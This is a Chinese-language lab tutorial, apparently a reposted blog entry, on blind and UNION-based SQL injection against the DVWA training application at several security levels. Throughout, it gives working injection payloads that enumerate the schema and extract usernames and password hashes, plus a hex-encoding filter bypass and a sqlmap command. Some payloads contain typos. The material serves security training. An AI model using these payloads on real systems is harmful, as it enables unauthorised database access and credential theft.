简单基本的SQL盲注、SQL注入

SQL盲注的过程:

1、判断是否存在注入,注入是字符型还是数字型

2、猜解当前数据库名

猜解数据库名的长度——>猜解数据库名的名称

3、猜解数据库中的表名

猜解库中有几个表——>猜解表名的长度——>猜解表的名称

4、猜解表中的字段名

猜解表中有几个字段——>猜解字段的长度——>猜解字段的名称

5、猜解数据

二、实验环境:首先我们先要打开运行的环境

1、测试机:物理机Windows 10,远程登录DVWA;安装BurpSuite

2、DVWA服务器:Windows Server 2003(192.168.24.130),启动phpStudy。

 三、实验过程    基于布尔值的盲注  安全等级:LOW 

1、 接下来我们进行数据库的盲注,判断是否存在注入,是字符型还是数据型

输入 1' and '1'='1 ,查询成功,说明存在字符型SQL注入

2、猜解当前数据库名

2.1 猜解数据库名的长度

1' and length(database())=1 #     // 设数据库长度为1,报错

1' and length(database())=4 #      //数据库名长度为4  发现对了

 2.2 猜解数据库的名称

1' and ascii(substr(database(),1,1))=100 # d
1' and ascii(substr(database(),2,1))=118 # v
1' and ascii(substr(database(),3,1))=119 # w
1' and ascii(substr(database(),4,1))=97 # a

 试的是10 发现不对,100就对了

3、猜解数据库中的表名

3.1 猜解库中有几个表

1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #    //有2个表

 3.2 猜解表名的长度

1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 #     //猜解第一个表名的长度为9

 3.3 确定表的名称(guestbook,users)

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 0,1),1))=103 # //g
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 1,1),1))=117 # //u
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’dvwa’ limit 2,1),1))=101 # //e

4、猜解users表中的字段名

4.1 猜解users表中有几个字段

1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #    //users表中有8个字段

 4.2 猜解字段名的长度

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1))=4 #      //猜解第3个字段的长度

 4.3 确定字段的名称(user)

1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 0,1),1))=117 # //u
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 1,1),1))=115 # //s
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 2,1),1))=101 # //e
1’ and ascii(substr((select column_name from information_schema.columns where table_name=’users’ limit 3,1),1))=114 # //r

 5、猜解数据(admin)

1’ and ascii(substr((select user from users limit 0,1)1,1))=97 # //a
1’ and ascii(substr((select user from users limit 1,1)1,1))=100 # //d
1’ and ascii(substr((select user from users limit 2,1)1,1))=109 # //m
1’ and ascii(substr((select user from users limit 3,1)1,1))=105 # //i
1’ and ascii(substr((select user from users limit 4,1)1,1))=110 # //n

好了,简单介绍一下。

 接下来进行数据库注入:

 判断sql是否存在注入,以及注入的类型

 接下来我们猜测sql查询语句中的字段数   1‘  order  by  1#     (逐渐增加后面的1的大小进行猜测)

 当输入3#时就出现了错误,说明只有两列的数据   查询的表的字段数是2

 我们来看一下回显

 接下来查询当前的数据库,以及版本    

1' union select version(),database()#

接下来我们获取数据库的表 

  1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#   

 接下来我们获取表中的字段名

     1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#   

 下面我们获得字段中的数据   

      1' union select user,password from users#

 我们看到的就是密码  来!让我们都破解了

 

 

 

 接下来我们将级别设置为medium  发现user  id  已经限制了

 看一下源代码  发现增加了一溜规则

 这个时候我们不能在这里进行sql注入了,我们可以在别的地方,

我们浏览器启用代理

 打开我们的抓包工具

 我们抓到包了,我们发的是1  我们在最下面给他改一下

 稍微改动,他回显给我们的就不再是1了

还是相同的步骤我们猜测字段个数

 

 看一下3

 

 接下来确定回显位置

 

 获得数据库名称以及版本(注意和low不太一样,后面不能有‘)

 

 获得数据库中所有表        

 

 下面获取表中的所有字段名,考虑到单引号被转移,可以利用16进制绕过

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273

 

 

 最后获取字段中的数据 

 

 

接下来我们将DVWA的级别设置成high    发现当你点中SQL injection界面时会出现一共点击   点击完我们会跳到另外一共界面

 我们看一下高级的源码   发现里面没加啥特殊的控制,唯一就是跳了个网页

 我们来获得密码

 

 最后我们将级别设置成impossible    看一下它的源码    发现里面加了很多东西,我们暂时莫得办法了

 在sqlmap里面进行执行    aqlmap.py  -r  C:11.txt  --level 3

 数据库中的这三个表我们要记住因为经常要用到

原文地址:https://www.cnblogs.com/li2019/p/12304642.html